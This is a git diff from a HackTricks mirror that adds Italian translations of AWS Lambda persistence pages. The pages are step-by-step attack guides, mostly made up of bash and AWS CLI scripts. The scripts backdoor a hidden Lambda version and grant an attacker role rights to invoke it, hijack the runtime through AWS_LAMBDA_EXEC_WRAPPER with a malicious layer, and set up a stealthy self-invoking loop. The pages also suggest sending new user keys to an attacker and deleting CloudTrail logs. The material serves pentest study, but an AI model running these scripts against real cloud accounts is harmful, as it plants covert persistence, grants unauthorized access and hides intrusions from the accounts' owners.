mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 23:15:48 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd
This commit is contained in:
@@ -1,64 +1,91 @@
|
||||
# AWS - Lambda Persistence
|
||||
# AWS - Persistenza di Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza del Lambda Layer
|
||||
### Persistenza con Lambda Layer
|
||||
|
||||
È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando il lambda viene eseguito in modo furtivo:
|
||||
È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando la Lambda viene eseguita in modo stealthy:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza dell'Estensione Lambda
|
||||
### Persistenza con Lambda Extension
|
||||
|
||||
Abusando dei Lambda Layers è anche possibile abusare delle estensioni e persistere nel lambda ma anche rubare e modificare le richieste.
|
||||
Abusando dei Lambda Layers è anche possibile abusare delle extension e persistere nella Lambda oltre a rubare e modificare le richieste.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Tramite politiche delle risorse
|
||||
### Tramite resource policies
|
||||
|
||||
È possibile concedere accesso a diverse azioni lambda (come invocare o aggiornare il codice) a account esterni:
|
||||
È possibile concedere accesso a diverse azioni di Lambda (ad esempio invoke o update code) ad account esterni:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versioni, Alias e Pesi
|
||||
|
||||
Un Lambda può avere **diverse versioni** (con codice diverso per ogni versione).\
|
||||
Poi, puoi creare **diversi alias con diverse versioni** del lambda e impostare pesi diversi per ciascuno.\
|
||||
In questo modo un attaccante potrebbe creare una **versione 1 backdoored** e una **versione 2 con solo il codice legittimo** e **eseguire solo la versione 1 nel 1%** delle richieste per rimanere furtivo.
|
||||
Una Lambda può avere **diverse versioni** (con codice diverso per ciascuna versione).\
|
||||
Poi, puoi creare **diversi alias con versioni diverse** della Lambda e assegnare differenti pesi a ciascuno.\
|
||||
In questo modo un attacker potrebbe creare una **backdoored version 1** e una **version 2 con solo il codice legit** ed **eseguire solo la version 1 nel 1%** delle richieste per rimanere stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Backdoor della Versione + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copia il codice originale del Lambda
|
||||
2. **Crea una nuova versione backdooring** il codice originale (o solo con codice malevolo). Pubblica e **deplora quella versione** su $LATEST
|
||||
1. Chiama l'API gateway relativo al lambda per eseguire il codice
|
||||
3. **Crea una nuova versione con il codice originale**, Pubblica e deplo quella **versione** su $LATEST.
|
||||
1. Copia il codice originale della Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Chiama l'API Gateway relativa alla Lambda per eseguire il codice
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. Questo nasconderà il codice backdoored in una versione precedente
|
||||
4. Vai all'API Gateway e **crea un nuovo metodo POST** (o scegli un altro metodo) che eseguirà la versione backdoored del lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Nota il finale :1 dell'arn **che indica la versione della funzione** (la versione 1 sarà quella backdoored in questo scenario).
|
||||
5. Seleziona il metodo POST creato e in Azioni seleziona **`Deploy API`**
|
||||
6. Ora, quando **chiami la funzione via POST la tua Backdoor** sarà invocata
|
||||
4. Vai all'API Gateway e **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Nota il final :1 dell'arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Seleziona il metodo POST creato e in Actions seleziona **`Deploy API`**
|
||||
6. Ora, quando **call the function via POST your Backdoor** verrà invocata
|
||||
|
||||
### Attuatore Cron/Event
|
||||
### Attivatore Cron/Event
|
||||
|
||||
Il fatto che puoi far **eseguire funzioni lambda quando accade qualcosa o quando passa del tempo** rende lambda un modo piacevole e comune per ottenere persistenza ed evitare il rilevamento.\
|
||||
Ecco alcune idee per rendere la tua **presenza in AWS più furtiva creando lambdas**.
|
||||
Il fatto che puoi fare in modo che le funzioni Lambda vengano eseguite quando qualcosa succede o dopo che passa del tempo rende Lambda un modo comune e comodo per ottenere persistenza ed evitare il rilevamento.\
|
||||
Ecco alcune idee per rendere la tua **presenza in AWS più stealth creando Lambda**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno script wrapper controllato dall'attacker prima che il runtime/handler inizi. Distribuisci il wrapper via un Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la funzione. Il wrapper gira all'interno del processo runtime della funzione, eredita il ruolo di esecuzione della funzione, e infine `exec` il runtime reale così l'handler originale viene ancora eseguito normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Esposizione pubblica di Lambda Function URL
|
||||
|
||||
Abusa di Lambda asynchronous destinations insieme alla Recursion configuration per fare in modo che una funzione si richiami continuamente senza uno scheduler esterno (no EventBridge, cron, ecc.). Per default, Lambda termina i loop ricorsivi, ma impostando la recursion config su Allow li si riabilita. Le destinations consegnano lato servizio per async invokes, quindi una singola seed invoke crea un stealthy, code-free heartbeat/backdoor channel. Facoltativamente limita con reserved concurrency per mantenere il rumore basso.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crea una versione nascosta della Lambda con logica dell'attacker e scope una resource-based policy a quella specifica versione (o alias) usando il parametro `--qualifier` in `lambda add-permission`. Concedi solo `lambda:InvokeFunction` su `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Le invocazioni normali tramite il nome della funzione o l'alias primario rimangono inalterate, mentre l'attacker può invocare direttamente l'ARN della versione backdoored.
|
||||
|
||||
Questo è più stealth rispetto all'esporre una Function URL e non cambia l'alias principale del traffico.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- Ogni volta che viene creato un nuovo utente, lambda genera una nuova chiave utente e la invia all'attaccante.
|
||||
- Ogni volta che viene creata una nuova funzione, lambda concede permessi di assunzione del ruolo agli utenti compromessi.
|
||||
- Ogni volta che vengono generati nuovi log di cloudtrail, cancellali/modificali
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
|
||||
Crea una hidden Lambda version con la logica dell'attacker e scopa una resource-based policy a quella specifica version (o alias) usando il parametro `--qualifier` in `lambda add-permission`. Concedi solo `lambda:InvokeFunction` su `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Le invocazioni normali tramite il nome della function o l'alias principale rimangono inalterate, mentre l'attacker può invocare direttamente la backdoored version ARN.
|
||||
|
||||
Questo è più stealth rispetto a esporre una Function URL e non modifica l'alias di traffico principale.
|
||||
|
||||
## Permessi richiesti (attacker)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Attack Steps (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Pubblica hidden version, aggiungi qualifier-scoped permission, invoca come attacker</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impatto
|
||||
|
||||
- Concede una backdoor stealthy per invocare una versione nascosta della funzione senza modificare l'alias principale né esporre una Function URL.
|
||||
- Limita l'esposizione alla sola version/alias specificata tramite la resource-based policy `Qualifier`, riducendo la superficie di rilevamento pur mantenendo un'invocazione affidabile per l'attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Persistenza di Auto-Loop Asincrono via Destinations + Recursion Allow
|
||||
|
||||
Abusa delle Destinations asincrone di Lambda insieme alla configurazione Recursion per far sì che una funzione si reinvichi continuamente senza uno scheduler esterno (no EventBridge, cron, ecc.). Di default Lambda interrompe i loop ricorsivi, ma impostando la recursion config su Allow li riattivi. Le Destinations consegnano lato servizio per gli invoke async, quindi una singola seed invoke crea un canale stealthy di heartbeat/backdoor senza codice. Opzionalmente limita la velocità con reserved concurrency per mantenere basso il rumore.
|
||||
|
||||
Note
|
||||
- Lambda non permette di configurare direttamente la funzione come sua stessa destination. Usa un function alias come destination e consenti all'execution role di invoke quell'alias.
|
||||
- Permessi minimi: possibilità di leggere/aggiornare l'event invoke config e la recursion config della funzione target, pubblicare una version e gestire un alias, e aggiornare la policy dell'execution role della funzione per permettere lambda:InvokeFunction sull'alias.
|
||||
|
||||
## Requisiti
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Passaggi
|
||||
|
||||
1) Ottieni l'ARN della funzione e l'attuale impostazione Recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Pubblica una versione e crea/aggiorna un alias (usato come destinazione verso la stessa funzione)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Consentire al ruolo di esecuzione della funzione di invocare l'alias (richiesto da Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurare async destination sull'alias (self via alias) e disabilitare i retries
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Permettere loop ricorsivi
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Avviare una singola invocazione asincrona
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Osservare invocazioni continue (esempi)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Stealth throttle opzionale
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Pulizia
|
||||
Interrompere il loop e rimuovere la persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impatto
|
||||
- Un singolo async invoke fa sì che Lambda si reinvoci continuamente senza uno scheduler esterno, abilitando stealthy persistence/heartbeat. Reserved concurrency può limitare il rumore a una singola warm execution.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
|
||||
Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno script wrapper controllato dall'attaccante prima dell'avvio del runtime/handler. Distribuisci il wrapper tramite un Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la funzione. Il wrapper viene eseguito all'interno del processo del runtime della funzione, eredita il role di esecuzione della funzione e infine esegue con `exec` il runtime reale in modo che l'handler originale venga eseguito normalmente.
|
||||
|
||||
> [!WARNING]
|
||||
> Questa tecnica concede esecuzione di codice nella Lambda target senza modificare il suo codice sorgente o il role e senza necessitare di `iam:PassRole`. Hai solo bisogno della possibilità di aggiornare la configurazione della funzione e pubblicare/allegare un layer.
|
||||
|
||||
## Permessi richiesti (attaccante)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (o attivare tramite un evento esistente)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (stesso account) e opzionalmente `lambda:AddLayerVersionPermission` se si usa un layer cross-account/pubblico
|
||||
|
||||
## Wrapper Script
|
||||
|
||||
Posiziona il wrapper in `/opt/bin/htwrap` nel layer. Può eseguire logica pre-handler e deve terminare con `exec "$@"` per concatenarsi al runtime reale.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Passaggi dell'attacco (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Pubblica layer, allega alla funzione target, imposta wrapper, invoca</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impatto
|
||||
|
||||
- Esecuzione di codice pre-handler nel contesto del runtime Lambda utilizzando l'execution role esistente della function.
|
||||
- Non richiede modifiche al function code o al role; funziona su managed runtimes comuni (Python, Node.js, Java, .NET).
|
||||
- Consente persistence, credential access (es. STS), data exfiltration e runtime tampering prima che l'handler venga eseguito.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user